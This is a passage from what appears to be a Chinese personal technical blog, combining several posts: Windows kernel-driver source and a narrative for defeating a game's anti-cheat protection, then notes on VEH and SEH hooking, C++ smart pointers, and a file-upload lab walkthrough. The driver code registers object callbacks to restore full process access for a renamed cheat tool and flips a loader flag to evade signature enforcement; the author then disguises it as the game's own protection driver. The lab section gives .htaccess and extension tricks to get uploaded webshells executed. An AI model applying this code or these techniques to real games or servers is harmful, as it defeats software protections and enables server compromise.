struct _LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG32 SizeOfImage;
UINT8 _PADDINGO_[0x4];
struct _UNICODE_STRING FullDllName;
struct _UNICODE_STRING BaseDllName;
ULONG32 Flags;
} LDR_DATA, * PLDR_DATA;

//定义一个系统函数
NTKERNELAPI UCHAR* PsGetProcessImageFileName(PEPROCESS Process);

//声明回调函数
OB_PREOP_CALLBACK_STATUS MyCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpertaionInformation);
//给ce改名,长ce名get名称函数有问题
const char* g_MyProcessName = "111.exe";
//实现
OB_PREOP_CALLBACK_STATUS MyCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpertaionInformation)
{
//只要有进程创建就会调用,所以先if判断
//KdPrint(("this is in call back!!!\n"));
PEPROCESS Process = PsGetCurrentProcess();
//KdPrint((PsGetProcessImageFileName(Process)));
if (_strnicmp(g_MyProcessName, PsGetProcessImageFileName(Process), strlen(g_MyProcessName)) == 0)
{
//是我们要找的进程
//恢复权限 openprocess
OpertaionInformation->Parameters->CreateHandleInformation.DesiredAccess = 0x1fffff;
OpertaionInformation->Parameters->DuplicateHandleInformation.DesiredAccess = 0x1fffff;
KdPrint(("进入callback!\n"));
return 0;
}
return OB_PREOP_SUCCESS;
}

//结构体数组 定义了callback
OB_OPERATION_REGISTRATION ObUpperOperationRegistration[] =
{
//第二个参数是回调执行时期,第三个参数是回调地址
//这里让回调在进程线程创建和复制的时候执行
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL},
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL}
};
OB_OPERATION_REGISTRATION ObLowerOperationRegistration[] =
{
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL},
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL}
};

//注册回调需要的结构体变量
OB_CALLBACK_REGISTRATION UpperCallbackRegistration =
{
OB_FLT_REGISTRATION_VERSION, //版本号
2, //注册数量 (线程,进程创建时)
RTL_CONSTANT_STRING(L"880000"), //影响回调的执行顺序 回调号 越小后执行
NULL,
ObUpperOperationRegistration //另一个数据结构,包含回调函数
};
//执行两次,包含原神的回调函数在数字之间,必定在它的回调函数之后执行我们的
OB_CALLBACK_REGISTRATION LowerCallbackRegistration =
{
OB_FLT_REGISTRATION_VERSION,
2,
RTL_CONSTANT_STRING(L"1000"),
NULL,
ObLowerOperationRegistration
};

HANDLE g_UpperHandle, g_LowerHandle;

//声明回调函数的注册和卸载函数
BOOLEAN ObRegisterCallback(PDRIVER_OBJECT DriverObject);
void ObRegisterUnload();
//实现
BOOLEAN ObRegisterCallback(PDRIVER_OBJECT DriverObject)
{
NTSTATUS sta;
//注册回调函数需要签名
//或上一个0x20可以不需要签名 这个flag在win api里是timestamp的作用
PLDR_DATA ldr;
ldr = (PLDR_DATA)DriverObject->DriverSection;
ldr->Flags |= 0x20;

//指定回调类型 这个结构体的第一个参数
ObUpperOperationRegistration[0].ObjectType = PsProcessType;
ObUpperOperationRegistration[1].ObjectType = PsThreadType;

ObLowerOperationRegistration[0].ObjectType = PsProcessType;
ObLowerOperationRegistration[1].ObjectType = PsThreadType;

//进行注册 第二个参为返回句柄
sta = ObRegisterCallbacks(&UpperCallbackRegistration, &g_UpperHandle);
if (!NT_SUCCESS(sta))
{
//失败就进卸载
ObRegisterUnload();
g_UpperHandle = NULL;
}
sta = ObRegisterCallbacks(&LowerCallbackRegistration, &g_LowerHandle);
if (!NT_SUCCESS(sta))
{
ObRegisterUnload();
g_LowerHandle = NULL;
}
}
void ObRegisterUnload()
{
if (g_UpperHandle != NULL)
ObUnRegisterCallbacks(g_UpperHandle);
if (g_LowerHandle != NULL)
ObUnRegisterCallbacks(g_LowerHandle);
}


//下面的为驱动主体 ----------------------------------------

//每个驱动都需要卸载,卸载函数
void DriverUnload(PDRIVER_OBJECT DriverObject)
{
//卸载注册的回调
ObRegisterUnload();
KdPrint(("Driver unload!\n"));
}

// NTSTATUS 32位数据 -> DWORD
NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject, //驱动对象 -> 句柄
PUNICODE_STRING RegistryPath //注册表路径
)
{
//指定卸载函数
DriverObject->DriverUnload = DriverUnload;

//注册回调函数
ObRegisterCallback(DriverObject);

//debug版本中是printf的作用,release版本无作用,注释掉了
KdPrint(("hello second bc.\n"));

return 0;
}

里面的注释都很到位,可以慢慢看;

解释下的话,驱动编写需要注意几点,驱动的main函数叫DriverEntry,同时需要给到卸载函数(析构的作用);

同时obcallback的调用需要进行注册,之后需要卸载;

KdPrint其实是DbgPrint的一个宏定义,在debug版本可以显示打印内容;

之后的话,搜索怎么调试驱动搞了半天,要什么双机调试,不然蓝屏之类的,所以驱动开发还是得要虚拟机,别用真机吧;

我懒得搞就下了个 driver monitor进行手动加载驱动,包括下载一个 debugview 进行对KdPrint内容的捕捉(既然不好调试就用最经典的print调试法);

然后发现driver monitor装载不上,是因为驱动要签名,又去找签名方法,找到了个好用的方法,b站视频如下:

驱动数字签名教程_哔哩哔哩_bilibili

之后就可以装载驱动进行测试了,发现我日还真能直接用原版ce进行读写内存了,而且不会显示被检测到:

image.png

但是还是依然无法进行调试器附加,原因是和pchunter找到的应用层钩子有关系啊,它钩住了一个ntdll的dbgbreakpoint,把这个恢复之后就能成功附加上了;

至此CE反附加就攻克了;

稳定性调试

当然ce能附加了,但游戏依然不稳定,时不时就会掉线,ce附加时不时也会自动脱落,有时候还会在搜数据的时候游戏弹异常直接G;

猜测它的驱动保护里还有一些对于调试器和读写内存的检测;

试了很多办法之后,不管是改调试器,还是开dbvm,等等都无法稳定调试;

那最稳妥的方法应该是折返回去好好逆一下保护驱动的dump出的内存;

想着我们写的驱动和它的保护驱动性质差不多,都要去注册ob回调,干脆一不做二不休把我们的驱动改个名扔它启动目录下去伪装成它的保护驱动,结果还相当有效,简直瞎猫碰死耗子了;

猜测原因是它的主程序执行驱动的时候,只是单纯做了简单判断有没有这个文件,跑没跑上,没有去检测文件签名属性,以及内容;

只能说运气特别好啊,省了超级多麻烦,这样一来游戏一执行还会启动我们的驱动程序,都省的用driver monitor了;

之后就是一马平川了,该怎么玩CE就怎么玩,游戏数据也能正常被保存到服务器上;

总结

总的说来,这个保护驱动并不强,最狠的最主要的就是通过obcallback来进行降权,没有内核钩子;

这一套下来也花了两天时间去做,反思了一下如果想要攻克其他类型的驱动保护,就需要进一步的学习驱动编程以及内核R0部分的内容,同时需要更好的逆向手法去获取内存中真实的镜像拿到代码去分析,才能对症下药去解决检测问题;

这其实还能算是我驱动编程的入门学习了;

没有使用r3那套进行辅佐保护我猜测的原因是模块化导致的,游戏一开始做的时候,保护和内容是分开的,同时以我的那套r3保护构想来说的话,太吃资源性能也是一方面的问题;

阅读全文
VEHhook

VEH介绍

全称 vector exception handle,向量化异常处理;

和SEH类似的东西,SEH存放于线程的栈上;

而VEH存放于进程的堆上,且是以双链表的形式,而SEH是单链表;

异常处理顺序为 : 调试器 -> VEH -> SEH;

添加VEH异常处理可以用如下API:

1
2
3
4
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);

第一个参数非0则添加到第一个处理,否则添加到末尾;

Handler是函数指针,原型如下:

1
2
3
4
LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)
{...}

返回值可以是0和-1,返回0代表继续处理,返回-1代表返回原本触发异常处继续执行;

其中参数是一个结构体,结构如下所示:

1
2
3
4
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

第一个参数记录的是异常信息结构体;

第二个参数保存的是异常发生时,线程处理器状态信息(寄存器环境值);

那么当异常发生时,被VEH捕获后,就可以改动寄存器的值来进行异常处理;

如下例子:

当除零时会发生异常,此时如果添加了VEH处理,可以通过更改环境值进行异常绕过,或者处理;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream> 
#include <windows.h>
using namespace std;

LONG WINAPI PvectoredExceptionHandler(
_EXCEPTION_POINTERS* ExceptionInfo
)
{
cout << "触发VEH异常处理." << endl;
//跳过
ExceptionInfo->ContextRecord->Eip += 4;
return -1;
}

int main() {

AddVectoredExceptionHandler(1, PvectoredExceptionHandler);
int a = 0;
a /= 0;
printf("123\n");
return 0;
}

结果如下图所示:

result

hook原理

因为VEH处理函数可以拿寄存器,也就可以拿目标api的输入输出,只需要在目标api内触发一个异常,就可以使用ebp以及其他寄存器拿到其输入参数以及修改输出内容;

SEH HOOK原理也如此,它们的核心思想是利用了异常处理的框架,不用自己去构造;

触发断点应选择硬件断点,避免修改代码int3绕过大量检测;

缺陷是只能hook4个地址,因为硬件断点就这么多;

前置知识:

调试寄存器

register

DR0 ~ DR7

DR0 ~ DR3存放的是硬件断点的断点地址;

DR6存放的是异常信息;

DR7则是控制作用;

其中DR7里, L0-L3对应DR0-DR3的断点是否有效,局部断点;

G0-G3同上,全局断点(Windows没用);

LEN0 - LEN3 对应DR0 - DR3的断点长度,不同类型断点,长度不同,比如执行断点长度为1;

00对应1,01对应2,11对应4;

RW0 - RW3 对应断点类型,00对应执行断点,01对应写入断点,11对应读写断点;

要下断点那么就需要修改调试寄存器,如何修改呢?

1
2
3
4
BOOL SetThreadContext(
[in] HANDLE hThread,
[in] const CONTEXT *lpContext
);

用以上函数设置,自定义context结构和数值,第一个参数用GetCurrentThread来获取句柄;

设置context结构的时候要注意它有一个字段为 contextFlags,标识context哪些属性有效;

1
CONTEXT_DEBUG_REGISTERS		//表明调试寄存器有效

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <iostream> 
#include <windows.h>
using namespace std;

HANDLE main_thread = 0;

LONG WINAPI PvectoredExceptionHandler(
_EXCEPTION_POINTERS* ExceptionInfo
)
{
cout << "触发VEH异常处理." << endl;
//处理对应
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == MessageBoxA)
{
cout << "执行hook." << endl;
//修改字符串输出 此时刚刚进函数还没进行栈平衡
DWORD arg1Addr = ExceptionInfo->ContextRecord->Esp + 4;
DWORD arg2Addr = ExceptionInfo->ContextRecord->Esp + 8;
DWORD arg3Addr = ExceptionInfo->ContextRecord->Esp + 12;
DWORD arg4Addr = ExceptionInfo->ContextRecord->Esp + 16;
//原api执行
CONTEXT context = { 0 };
CONTEXT oldcontext = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(main_thread, &context);
int result = MessageBoxA(*(HWND*)arg1Addr, *(LPCSTR*)arg2Addr, *(LPCSTR*)arg3Addr, *(UINT*)arg4Addr);
ExceptionInfo->ContextRecord->Eax = result;

//修改
LPCSTR re = "你是黑矮星.";
*(LPCSTR*)arg2Addr = re;
result = MessageBoxA(*(HWND*)arg1Addr, *(LPCSTR*)arg2Addr, *(LPCSTR*)arg3Addr, *(UINT*)arg4Addr);
ExceptionInfo->ContextRecord->Eax = result;

//直接返回 eip + 70 == ret
ExceptionInfo->ContextRecord->Eip += 70;
return -1;
}

return 0;
}

int main()
{
AddVectoredExceptionHandler(1, PvectoredExceptionHandler);

//hook api address
DWORD breakPoint0 = 0;
HMODULE user32 = LoadLibraryA("user32.dll");
breakPoint0 = (DWORD)GetProcAddress(user32, "MessageBoxA");

//设置断点 局部有效
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
context.Dr7 = 1;
context.Dr0 = breakPoint0;
main_thread = GetCurrentThread();
SetThreadContext(main_thread, &context);

//调用 触发断点处理异常
if (MessageBoxA(0, "我是谁?", 0, 0))
cout << "成功执行..." << endl;

return 0;
}

以上代码hook了messageBoxA这个函数,hook的时候执行了两次,一次原函数,一次修改输出后的函数,可以正确返回;

阅读全文
WindowsSEH

概念

全称 Structured Exception Handling

是windows操作系统默认的异常处理机制;

使用

使用 _try 包裹可能出现异常的语句

_except()处理异常,当括号内为真的时候,执行处理语句;

例如:

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
_try
{
printf("123\n");
}
_except(1)
{
printf("执行!\n");
}
return 0;
}

原理

当程序触发异常后,程序会进行ip寄存器的跳转:

非调试状态下运行程序,触发后判断是否存在异常处理器(一个函数,在上述例子中,写上了try和except()编译器给程序添加了异常处理器,并会处理except中的内容),否则退出程序;

调试状态下,操作系统会优先将异常抛给调试进程(断点原理),之后调试器的选择有:

  • 修改触发异常的代码继续执行
  • 忽略异常交给SEH执行

则windows发生异常后的处理顺序为:调试器,SEH,结束程序;

结构

1
2
3
4
5
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next; //指向下一个节点
PEXCEPTION_ROUTINE Handler; //异常处理器(回调处理函数)
}EXCEPTION_REGISTRATION_RECORD;

这是一个链表结构中的节点,所以SEH是以链式存在的;

第一个节点位置位于 fs:[0] 段寄存器处(同时是TEB结构,即TEB第一个字段就是异常处理链);

当异常发生时,从第一个节点开始处理,之后向后传递依次处理,直到处理成功,可以返回原本位置继续执行,否则退出程序;

最后一个节点next指针指向 0xFFFFFFFF;

当在程序中写入了_try和_except之后,操作系统会动态的生成一个节点结构,从头部插入;

总结

要提一嘴的是,windows异常抛出的种类特别多,而调试器的设置有很重要的因素,在逆向的时候,遇到一些异常(比如c0005,0地址执行),直接运行过去会导致断点在SEH已经处理完的时候,并不会断在异常发生的时候,这和调试器的异常捕获设置有关;

调试器一般就只会在CC断点异常处断下;

也可以找到fs:[0]的地方,将断点直接打在SEH链表头部,这样发生异常就能断下来;

对于32位程序来说,用高级语言写的_try_except生成的新节点插入会在汇编中以如下的形式体现:

1
2
3
4
push ExceptionHandler			;编译器生成的异常处理器
mov eax, dword ptr fs:[0] ;原先的SEH链表头部
push eax
mov dword ptr fs:[0], esp

此时在栈中,原先SEH头部地址在上,相当于新节点的next,编译器给的函数在下,相当于新节点的Handler,此时esp指向新节点的第一个字段next,也就是新节点头部,所以将esp又给予fs:[0],为原链表在头部添加了一个新节点;

但要注意这只在这个函数体(栈帧)里有效,函数结束时会做出相应的栈平衡,并释放栈;

阅读全文
CPP补充:智能指针

本文参考及图片引用:C++ 智能指针 - 全部用法详解-CSDN博客

用处

避免CPP里面的内存泄漏;

例子:

当 new 一个对象的时候,在其生命周期结束时,系统会自动调用它的析构函数;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Test {
public:
Test() { cout << "Test的构造函数..." << endl; }
~Test() { cout << "Test的析构函数..." << endl; }

int getDebug() { return this->debug; }

private:
int debug = 20;
};

int main()
{
Test a = Test();
cout << a.getDebug() << endl;

return 0;
}

test1

但是,当 new 一个对象指针指向一个匿名对象的时候,在这个对象生命周期应该结束时,并不会调用它的析构函数:

1
2
3
4
5
6
7
int main()
{
Test * a = new Test();
cout << a->getDebug() << endl;

return 0;
}

test2

换句话说,当有对象被引用的时候,就有可能导致内存泄漏,一旦内存泄漏,就会消耗整个程序的资源和效率,更甚至导致异常中断;

所以智能指针便是用来处理这个问题的;

实质

智能指针的实质实际上是一个模板类,它会管理给予它的特定类型指针,并对于指针的操作给予了很多运算符上的重载,所以在使用的时候可以直接将智能指针变量当作管理的指针直接使用;

所以你明白了智能指针为何可以对于引用的对象进行自动析构,因为它本身就是个对象,它的析构里自然就写进了析构引用的指针的操作;

所以?所以别再指针化的使用或引用这个类的类对象了,因为会导致之前的问题重复;

以下提到的 智能指针 这个名词,都可以理解是类的名字,它不是一个实际意义上的指针;

类别及其用法

所谓的智能指针在CPP中普遍使用也就存在4种形式: auto_ptr, unique_ptr, shared_ptr, weak_ptr;

其中,第一个在C++98中给出,后面三个在C++11中给出,作为前者的进阶版;

auto_ptr

用法:
头文件: #include < memory >
用 法: auto_ptr<类型> 变量名(new 类型)

这个类型是指针,但不用加*强调,写法比较奇怪,可以尝试用构造函数的调用来理解;

举例:

1
2
3
auto_ptr< string > str(new string(“要成为大牛~ 变得很牛逼!”));
auto_ptr<vector< int >> av(new vector< int >());
auto_ptr< int > array(new int[10]);

就第一部分遇到的问题,如何用智能指针解决:

1
2
3
4
5
6
7
int main()
{
auto_ptr<Test> a(new Test());
cout << a->getDebug() << endl; //重载运算符,也可以用*a来引用

return 0;
}

这个样子便解决了之前提到的引用匿名对象的无法析构的问题;

智能指针中三大函数

get()

作用是返回智能指针类管理的真实指针地址;

上面使用auto_ptr的代码可以等效为如下:

1
2
3
4
5
6
7
8
9
int main()
{
auto_ptr<Test> a(new Test());
Test* tmp = a.get();
cout << tmp->getDebug() << endl;
//delete tmp; 禁止析构智能指针管理的指针,不然会double free

return 0;
}
release()

作用是取消智能指针对管理地址的管理,将管理区置为NULL;

1
2
3
auto_ptr<Test> a(new Test());
Test *tmp = a.release();
delete tmp;

取消管理之后交给对应的指针变量,此时需要自己手动析构;

同时注意不能直接调用 a.release() , 如果直接使用,此时智能指针管理的指针为NULL,同时没有变量接收之前管理的内存地址,就会造成内存泄漏;

reset()

重置智能指针管理的内存地址;

1
2
3
4
5
auto_ptr<Test> a(new Test());

a.reset(); // 释放掉智能指针托管的指针内存,并将其置NULL

a.reset(new Test()); // 释放掉智能指针托管的指针内存,并将参数指针取代之

注意事项以及缺陷

  • 不要将auto_ptr变量定义为全局变量以及指针;

  • 使用它的赋值运算和拷贝构造时,实际上是在做管理指针的转移;

    假如p1和p2是两个已经初始化的智能指针,那么执行p1 = p2:

    trans
    图中的地址是由get()获取;

  • STL中使用auto_ptr不安全,因为容器元素需要支持复制和赋值:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    vector<auto_ptr<string>> vec;
    auto_ptr<string> p3(new string("I'm P3"));
    auto_ptr<string> p4(new string("I'm P4"));

    // 必须使用std::move修饰成右值,才可以进行插入容器中
    vec.push_back(std::move(p3));
    vec.push_back(std::move(p4));

    cout << "vec.at(0):" << *vec.at(0) << endl;
    cout << "vec[1]:" << *vec[1] << endl;


    // 风险来了:
    vec[0] = vec[1]; // 如果进行赋值,问题又回到了上面一个问题中。
    cout << "vec.at(0):" << *vec.at(0) << endl;
    cout << "vec[1]:" << *vec[1] << endl;

    此时运行这段代码会导致访问越界中断;

  • 不支持对象数组的内存管理:
    inside

unique_ptr

为了解决上述提出来的关于 auto_ptr 的缺陷, C++新版本更新了这个进阶版;

它比较于 auto_ptr 来说,多了三个优势:

  • 依然无法进行左值构造和赋值,但是可以允许临时的右值构造和赋值;
  • 在容器中使用是安全的;
  • 允许对象数组的内存管理;

同时这里要强调一下,不管是 auto_ptr 还是 unique_ptr ,它们都是基于排他所有权模式:两个指针不能指向同一个资源;

这样一来就还是有一个问题:

unique_ptr的右值赋值效果等同于auto_ptr的=号赋值,只是做指针的转移,而非复制;

同样两个智能指针使用reset接管同一个指针的时候,最后一个会起接管作用,前者会被置零;

什么叫左值,右值? –> 左值指有专门内存空间的变量, 不是左值的都叫右值,可以是寄存器里的数,也可以是一个立即数;

那么如何实现两个智能指针的复制呢?如同平常使用的对象和类型的时候=号的第一直觉操作?

引出shared_ptr;

shared_ptr

它的出现解决了复制内存地址引用给多个智能指针使用;

至于如何实现的,首先需要回想一下,智能指针是干什么的;

智能指针用于解决引用对象的自动析构,那么引用的对象都析构了,另一个智能指针引用同样内存位置该析构谁呢?NULL吗?

所以shared_ptr和unique_ptr功能一模一样,可以理解为只是多了一个引用计数的静态类变量;

当有多个智能指针指向同一个内存地址时,引用次数就是那么多,每次在智能指针类做复制的时候在构造函数里将次数加一,析构的时候,将次数减一,判断为一的时候则析构引用的内存地址,这样就解决了引用共享问题;

引用次数的获取可以使用如下函数(use_count()):

shared

但这又引出一个新的问题;

循环引用

当一个A类中有B类的智能指针,且B类里也有A类的智能指针的时候;

当B类智能指针创建时,B引用次数加一,A类智能指针创建时,A引用次数加一;

A中引用B类智能指针时,B引用次数加一为二,同理B中引用A,A的引用次数也变为二;

这个时候系统生命周期结束时,释放创建时的智能指针,则A和B的引用次数都减1,变为1;

此时A类要析构,就需要先析构其中的B类智能指针,B类要析构,就需要先析构A类,造成无限循环等待;

weak_ptr

weak_ptr 设计的目的是为配合 shared_ptr 而引入的一种智能指针来协助 shared_ptr 工作, 它只可以从一个 shared_ptr 或另一个 weak_ptr 对象构造, 它的构造和析构不会引起引用记数的增加或减少。 同时weak_ptr 没有重载*和->但可以使用 lock 获得一个可用的 shared_ptr 对象。

它的出现就是为了解决循环引用;

在智能指针类中如需引用另一个智能指针,最好就写为weak类型,这样它不会改变引用的次数,从而破局循环引用;

一个weak类型可以直接由shared拷贝构造或者复制而来;

但weak类型不能复制或者拷贝构造给shared类型,需要使用lock()函数重新变成shared类型,同时引用次数+1;

weak指针有一个函数是 expired() ,作用是判断当前指针是否还有管理的对象,有返回false,无返回true;

总结

详细有关智能指针的代码操作如赋值,构造,析构,等等以及有关循环引用的更全面的讲解请查看第一行给出的参考网址;

本文更偏向于条目梳理和简单回顾;

大多数使用智能指针会出现的错误均已在上述给出,但这里还要提一个没有给出的错误:

禁止用任何类型智能指针get函数返回的指针去初始化另一个智能指针:

1
2
shared_ptr< int > a(new int(10));
// 一个典型的错误用法 shared_ptr< int > b(a.get());

实际上对于智能指针需要注意的操作也在于复制部分,如何利用好复制带来的方便的同时避免出错,就是智能指针需要掌握的点;

阅读全文
文件上传及其labs

环境配置问题

phpStudy搭建,php版本需要选择ts的,相应的httpd-conf也需要调整,具体调整在下方给出;

所有配置都基于老版本的小皮,新版本干不起,估计和apache版本也有关系;

可以直接使用docker,又方便又省事;

上传思路

目的是为了把木马或webShell传到服务器上,服务器一般有判断,所以要绕过;

接下来的步骤思路即为靶场题目每道所得心得:

判断分为前端JS代码判断和后端代码判断,第一步就是区分是前端还是后端:

使用抓包软件拦截状态时上传文件,如果抓不到但出结果了判断为前端,否则为后端;

前端可以由禁用JS方法来解决,后端的花样比较多,一般而言,第二步先改包头content-type字段(其实大多数时候用不到,和ESP定律一个尿性);

第三步区分黑白名单,黑名单就尝试后缀绕过,如php3,php5,phtml(此方法针对于过滤不完全的黑名单机制);

补充知识:apache服务的php版本中带有nts(not thread safe)的,是非多线程安全的,目前流通使用的大多都是TS的;

而往往nts版本的php会导致有些漏洞利用不了;

第四步就是正儿八经的文件上传漏洞的入门内容了,.htaccess绕过,详细见P04;

.user.ini绕过,详见P05;

::$DATA绕过,详见P09;

第五步便是正则绕过,各种特殊写法,在P05之后都有提及,(白名单)空字符(%00,0x00)截断;

第六步是针对于文件内容检测的绕过思路,图片标识,图片🐎一类的尝试;

另类,则是条件竞争

对于文件上传的总结位于P20,归于后缀绕过,内容绕过,条件利用三大类;

P01

通过BP抓包判断为前端检测,直接看前端JS,主要逻辑通过查找元素发现submit post之后返回一个check函数:

check

搜索找到这个函数:

func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

针对于前端检测而言,最有效的办法就是禁用网页的javaScript,这个禁用是针对全部的JS代码,所以有时候会影响一些功能导致无法使用,不过可以先试试;

这道题可以用上述方式解决;

P02

判断为后端执行检测;

这道题可以改content-type就可以绕过了:
content

P03

这道题提示上传php后为:不允许上传.asp,.aspx,.php,.jsp后缀文件!

这是文件黑名单,而目前大多数网址使用的文件上传服务都是白名单机制,而且非常严格;

后端php判断如下,这个判断一般是写在apache服务里的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

其实它的过滤不完全,后缀只过滤掉了4个基础解析后缀,还有php3这种也能被解析成php文件的特殊文件后缀,俗称后缀绕过;

这道题如果是小皮环境,需要添加apache的httpd-conf内的php解析:

1
AddType application/x-httpd-php .php .php3 .php5 .phtml

还需要切换php版本为ts;

实在懒可以用BUUCTF的 (

P04

用之前的方法,会提示:此文件不允许上传!

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

和P03一样的检测,只不过堵死了大部分后缀,而黑名单里的话,其中有两个后缀很有意思,一个是htaccess,一个是ini,这道题没有禁前者;

.htaccess

是一个服务器分布式配置文件,每个网址根目录都会有;

但相对于httpd.conf而言,httpd.conf是作用于全局,是apache的主要配置文件,影响整个服务器;

而.htaccess文件作用范围是局部的,常位于根目录和特定目录,只影响其所在的对应目录;

使用方法:.htaccess文件修改后即时生效,而Httpd.conf一般需要管理员级权限才能进行修改,修改需要重启apache服务器才能应用;

本题可以先上传一个.htaccess文件,里面配置这么一句话:

1
2
3
<FilesMatch "Hack">                      
SetHandler application/x-httpd-php
</FilesMatch>

检测名字叫Hack的文件以php形式解析;

或者

1
AddType application/x-httpd-php .jpg .txt

意思是使jpg和txt后缀按照php文件的内容进行解析执行;

那么在这个上传目录内,传入的jpg和txt便会按照php执行了(要求服务端开启.htaccess功能 httpd.conf 所有override改为 all);

一般而言,直接改一句话木马的后缀为jpg,服务端很可能检测图片内容是否合法,所以可以使用命令合并一句话木马和一张图片来达成目的:

1
copy muma.php+tupian.jpg/b new.jpg

P05

前置知识

下面两个文件的关系和httpd.conf与.htaccess的关系类似,httpd.conf与.htaccess针对于apache服务器而言是有的;

而下面两个文件针对于php而言;

.user.ini

特定于用户和特定目录的配置文件,常常位于web应用程序的根目录下,用于覆盖或追加全局配置文件(php.ini)中的php配置选项;

作用范围:相对目录及其子目录;

生效:修改即生效;

注意,此文件生效前提是php版本大于5.3.0,最好是7的版本,且Server API为 CGI/FastCGI

php.ini

存储对整个php环境生效的配置选项,常位于php安装目录中;

作用范围:所有运行在该php环境中的php请求;

生效方式:重启php或者服务器;

此关为.user.ini上传漏洞,利用前置要求:**.user.ini生效,且上传目录已存在php文件**;

查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
